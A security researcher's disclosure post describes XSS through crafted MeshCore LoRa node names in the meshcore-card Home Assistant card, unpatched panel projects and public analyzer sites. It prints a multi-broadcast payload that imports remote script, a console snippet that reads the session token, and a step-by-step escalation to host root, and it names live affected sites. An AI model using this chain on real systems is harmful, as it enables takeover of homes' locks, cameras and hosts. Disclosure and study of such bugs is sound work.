LILYGO T3-S3 LoRa node with antenna attached, OLED screen showing `<img src=//s42.re/p.pn>` as the node name.

A crafted MeshCore node name could compromise any Home Assistant instance running meshcore-card as soon as someone viewed a dashboard with that card. MeshCore relays through repeaters, so the attacker did not need to be in radio range of the target itself, only of any node that could forward to it.

That was enough to compromise a Home Assistant OS instance, up to remote root on the host through add-ons (with typical settings). That includes a full takeover of anything Home Assistant can reach: lights, locks, cameras, scripts.

The same XSS (cross-site scripting) pattern appears to be present in MeshCore-Home-Assistant-Panel-v2 and its HACS variant, based on source review. I did not get the panels running myself, so I have not verified this with running code.

This also affects at least 20 public MeshCore analyzer websites, including instances of CoreScope. These websites typically have little sensitive data, so the impact is limited.

The bug is live: I confirmed HTML injection on at least five Home Assistant instances belonging to others1, by broadcasting a node name containing a benign <img> tag on a public mesh and watching my logs. I stopped there rather than push a payload that runs javascript.

The bug was fixed in meshcore-card v0.3.3, assigned CVE-2026-45323. The panel-v2 variants remain unpatched; their maintainer has not responded to disclosure attempts since March 2026. I have not made separate reports to MeshCore analyzer websites.

What is MeshCore?

MeshCore is an open-source mesh networking protocol that runs over LoRa radio. LoRa is a long-range, low-bandwidth radio technology in license-free sub-GHz bands (typically 868 MHz in Europe). MeshCore is one of several mesh stacks built on LoRa.

Nodes in a MeshCore mesh periodically broadcast an advertisement packet announcing themselves. Each advertisement contains an adv_name field: a 32-byte string, null-terminated, with no character validation at the protocol level2. Any node can pick any name. To be clear, the vulnerability is in software that renders those names in HTML, not in MeshCore itself.

LoRa typically reaches a few kilometres, sometimes longer. The attacker does not need to share a network or a building with the target. Being able to reach any node in the same mesh is enough, as MeshCore has repeater nodes that can relay advertisements. The Netherlands has a dense repeater network, with almost 1800 repeaters, stretching even beyond the borders.

meshcore-card XSS

an alert(1) from meshcore-card

meshcore-card is a component for HACS, the Home Assistant Community Store, that renders MeshCore state in Home Assistant dashboards. It provides three card types. The contact card is the most exposed: it renders every entry in the contact list, including contacts added automatically from heard advertisements. A malicious adv_name lands on the dashboard as soon as someone views it. Nothing between the radio and the DOM restricts the value3. meshcore-card renders heard contacts for up to max_contact_age_days (default 7) after the last advertisement, so a single heard broadcast impacts every dashboard render for a week, not only while the attacker is transmitting.

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H, score 9.6 (critical). Tracked as CVE-2026-45323 and GHSA-5vrg-xpcj-xppc.

Size-constrained payloads

The payload, which I am still broadcasting today from one of my own nodes, is a benign tracking pixel:

<img src=//s42.re/p.pn>

That is 23 bytes. A real XSS would need to load executable code from somewhere.

In OpenWrt I solved this with two broadcasts: one carrying <a id=a href=URL> and another carrying <img src=x onerror=import(a)>4. This relies on a DOM quirk: elements with an id attribute are automatically exposed as named properties on window, so <a id=a> makes the anchor available as window.a. My OpenWrt payload rendered into the main document, where that lookup works.

meshcore-card renders into a shadow DOM inside its custom element, and that named-element shortcut only populates from the main document, not from shadow roots. The anchor lands in the shadow tree but window.a stays undefined.

My solution uses three broadcasts of 16, 29, and 31 bytes, including an iframe, to run code of any length in the HA session.

<iframe srcdoc='
<a id=a href="//s42.re/x.js">
<img src=x onerror=import(a)>'>

The first opens an iframe with srcdoc=', the third closes it with '. The HTML parser absorbs every character in between as the srcdoc value, including the other advertised node names along with the card chrome between them. The iframe parses that absorbed string as a fresh HTML document. Inside that fresh document the named-element shortcut works again, <img onerror=import(a)> fires, and because srcdoc iframes inherit the embedder’s origin, the imported module runs with full access to the Home Assistant frontend, while each inserted fragment fits in 32 bytes.

Three broadcasts, but not three radios: a single MeshCore node can cycle through three different adv_name values on its advertisement schedule. Ordering matters: the iframe opening has to render first and the closing fragment last for the absorption to wrap the payload, so it’s finicky, but can definitely work.

Confirming the XSS without a radio

My MeshCore hardware isn’t attached to my own Home Assistant instance. To confirm the bug I faked the integration: I injected state through HA’s REST API. meshcore-ha writes contact state to a binary sensor entity, so I created three synthetic entities from the browser console of a logged-in HA frontend:

token = document.querySelector("home-assistant").hass.auth.data.access_token;
payloads = [
    `<iframe srcdoc='`,
    `<a id=a href="//s42.re/x.js">`,
    `<img src=x onerror=import(a)>'>`,
];
now = Math.floor(Date.now() / 1000);
payloads.forEach((adv_name, i) =>
    fetch(`/api/states/binary_sensor.meshcore_xss${i}_contact`, {
        method: "POST",
        headers: { "Authorization": "Bearer " + token },
        body: JSON.stringify({
            state: "on",
            attributes: { adv_name, last_advert: now - i },
        })
    }).then(r => r.json()).then(console.log)
);

The imported module reads the parent’s hass object and the token, then drives the supervisor API from there.

Escalation to root on HAOS

XSS in meshcore-card runs as whoever has the dashboard open. On most HA installs that’s the original admin (HA’s first account is always created with admin rights, and most home setups keep only the one). The supervisor accepts add-on installs on the existing browser session without re-authentication, even for a fresh custom repository pointing at code the user has never seen. So an attacker exploiting the XSS can:

  1. Read the user’s auth token from hass.auth.data.access_token.
  2. Add an attacker-controlled add-on repository through the supervisor API.
  3. Install an add-on from it. A Home Assistant add-on is just a Docker image, so the attacker can ship any container they want.
  4. Disable the add-on’s protection mode, which gives the container access to the host’s Docker socket.
  5. Use that socket to start a privileged container and escape to host root via standard Docker-socket abuse techniques, well documented in Trail of Bits’s “Understanding Docker container escapes”.

This chain depends on the Home Assistant supervisor, which is part of Home Assistant OS (HAOS) and Home Assistant Supervised installations. HAOS is the default and by far the most common form. HA Container and HA Core installs have no supervisor, so the add-on path doesn’t apply there, but the XSS still gives full access to the HA session and everything the logged-in user can reach.

Demo

Here’s the chain running end-to-end on my own Home Assistant using HAOS, with the three broadcasts simulated via the REST API trick above:

Prior work

The supervisor side of this chain is documented from other entry points. GitHub Security Lab demonstrated a similar chain ending at arbitrary add-on install via a CSRF on the iOS Companion app in late 2023, and elttam reached unauthenticated RCE on the HA instance through a supervisor proxy bug earlier that year.

What Home Assistant says about this

Home Assistant’s security policy is explicit about the privilege side:

Home Assistant assumes every user is trusted and does not enforce user privileges. It assumes every logged in user has the same access as an owner account.

Installing a third-party add-on is listed as user-initiated and out of scope. There is no sudo mode in HA, no re-auth for add-on install, though there has been discussion on RBAC and auth.

Re-authenticating before sensitive admin actions (sometimes called “sudo mode”) would make this escalation much harder. I’ve made the same recommendation in previous disclosures where any logged-in session could make critical changes.

MeshCore-Home-Assistant-Panel-v2

meshcore-card was not the only project rendering mesh names unescaped. Both MeshCore-Home-Assistant-Panel-v2 versions appear to have the same pattern: they read adv_name from meshcore-ha entities and render it unescaped:

  • MeshCore-Home-Assistant-Panel-v2 (AppDaemon version): five HTML files render adv_name into both Leaflet bindPopup() calls (which render their argument as HTML) and raw HTML assignments. Each list rendering appears to have three injection points: text content, the title attribute, and an inline onclick handler.
  • MeshCore-Home-Assistant-Panel-v2-HACS (HACS version): three HTML files with the same pattern.

Both panel-v2 versions include a half-working escape: a regex that replaces only single quotes when building onclick handlers. Double quotes break out of the surrounding attribute, and angle brackets allow HTML injection before the javascript parser even runs.

This is based on source review only, since I haven’t gotten either panel running on my own instance. There may be mitigations I have overlooked.

In March 2026 I opened a public issue on the repo asking for a security contact, and followed up later. There has been no response.

MeshCore analyzer websites

Map of Dutch MeshCore nodes, from cornmeister.nl, running CoreScope

Outside Home Assistant, around 20 public MeshCore network analysis sites also render node names from the mesh unescaped5. Some do have user logins, but these are low-value accounts.

I am publishing this without prior individual notification to any of these sites. The class of bug is already public via the meshcore-card disclosure, the affected accounts are low-value, and the fix is not complicated.

CoreScope

CoreScope is used for several of these websites, and is a particularly fun example of this vulnerability.

Its public/map.js defines a “safe escape” helper:

const safeEsc = (typeof globalThis.esc === 'function')
  ? globalThis.esc
  : function (s) { return s; };

The idea: if a real escape function is available on globalThis.esc, use it; otherwise return the value unchanged. But nothing in CoreScope ever assigns globalThis.esc. The real helper is called escapeHtml. The check is always false, and safeEsc(x) always returns x unchanged.

safeEsc(node.name) therefore drops the over-the-air adv_name straight into the map popup HTML, where any visitor clicking the marker triggers the XSS.

The filter is both broken and oddly convoluted, so I looked into why. The entire project appears to be vibecoded6, and breaking the XSS filter was an LLM hallucination. It compiled, it looked like it fixed a bug, and it was shipped, even though it broke XSS filtering completely.

How to patch

meshcore-card: upgrade to v0.3.3 or later.

MeshCore-Home-Assistant-Panel-v2 (either variant): no fix exists. Uninstall, or accept that anyone within radio range of your mesh can trigger the XSS.

A MeshCore analyzer website: apply HTML escaping at every place a node name is interpolated into HTML. The patch to meshcore-card v0.3.3 is a short working example.

Disclosure

For meshcore-card, I reported privately to the maintainer on 2026-05-06. The fix landed the next day in v0.3.3, adding an escapeHtml helper and wrapping every adv_name with it. The same commit also added scheme validation for the entity_picture URL and the icon name, both of which come from the same unsanitised contact dict. The security advisory GHSA-5vrg-xpcj-xppc was published shortly after, with CVE-2026-45323 assigned. Coordination with the maintainer was quick and constructive.

For the panel-v2 projects, no fix exists. The maintainer has not responded to a public contact-request issue on the repo from March 2026, and I have found no other contact channel. I am linking this post from the existing issue.

I have not coordinated disclosure with MeshCore analysis websites in advance, as the impact on them is more limited. I do not have enough details to contact individual affected Home Assistant users.

Other LoRa mesh networks

Last year, when Meshtastic was more popular in the Netherlands, I found a similar issue in one of its analysis websites:

A broader pattern

I have been collecting findings where data from a network protocol ends up rendered as HTML somewhere downstream:

  • OpenWrt XSS through SSID scanning (CVE-2026-32721): a wifi SSID name rendered unescaped in the LuCI admin UI, with a chain to root via the ubus API.
  • RIPE NCC RPKI exploit chain: three independent XSS entry points into *.ripe.net through DNS version.bind, DNS NSID, and TLS SubjectAlternativeName, escalated via CSRF to the RPKI dashboard and RIPE Database.
  • RIPE NCC session fixation: Variant A is an XSS in RIPEstat through DNS NS records, used here to plant a pre-authentication session token.

References


I'm Sasha Romijn, an independent developer and internet infrastructure specialist in Amsterdam. I find security issues in internet infrastructure, usually in configurations, trust relationships, and cross-system behaviour that got overlooked. Some of my finds include rooting OpenWrt via SSID, taking down a European network with a TLS certificate, rooting Home Assistant through MeshCore, and, some years back, compromising Apple keychain access groups.

Find me on Mastodon, Bluesky, or work with me.


  1. The <img> pointed at a tracking URL on my own server, so any rendering that fetched it logged a request. Home Assistant instances showed up in three ways: by their internal IP on port 8123 (HA’s default), via a Nabu Casa remote-access hostname, and via the Home Assistant Companion App’s user-agent string (which doesn’t pass a referrer but does identify itself, e.g. Home Assistant/2026.4.4 (Android 16) or Home Assistant/2026.2.1 (... iPadOS 26.4.0)). ↩︎

  2. The advertised name field is defined in the MeshCore Companion Radio Protocol as chars(32), null terminated↩︎

  3. The path from radio to DOM: the meshcore Python SDK decodes the 32-byte name to UTF-8 with errors="ignore". The meshcore-ha integration assigns the result directly to _attr_name: self._attr_name = contact_name. A sanitize_name() helper exists in the integration but is only used for constructing entity IDs via slugify(), not for the display path. The full contact dict is also dumped into extra_state_attributes unfiltered. Home Assistant core stores those attribute values verbatim. ↩︎

  4. Several people have suggested <svg onload=import('//s42.re/')> would fit a remote-code payload in a single 32-byte broadcast. I have not managed to get this working, it looks like current Chrome and Firefox do not fire onload on SVG elements inserted via innerHTML (Chromium #616490, Firefox #1754727). ↩︎

  5. Across the test window, around 20 distinct public deployments fired the pingback. This was mainly from cornmeister.nl, analyzer.on8ar.eu, analyzer.meshcorenetz.de, domca.nl, dashboard-elburg.f3dp.nl, mesh.override.nl, meshrank.net, and several obvious CoreScope deployments (e.g. corescope.meshrheinland.de). The remainder is a long tail of smaller analyzer sites and dashboards: analyzer.kiekr.app, map.mcml.info, meshkit.app, meshcore.meshdev.nl, framework-dev.techspeeltuin.nl, uploaderstats.radio-actief.be, nr.home.niek.be, fderuiter.nl, connect.meshcomod.com. ↩︎

  6. The repo is hosted by “Kpa-clawbot”, only refers to a long AGENTS.md as the contribution guide, and a team page lists only LLMs. ↩︎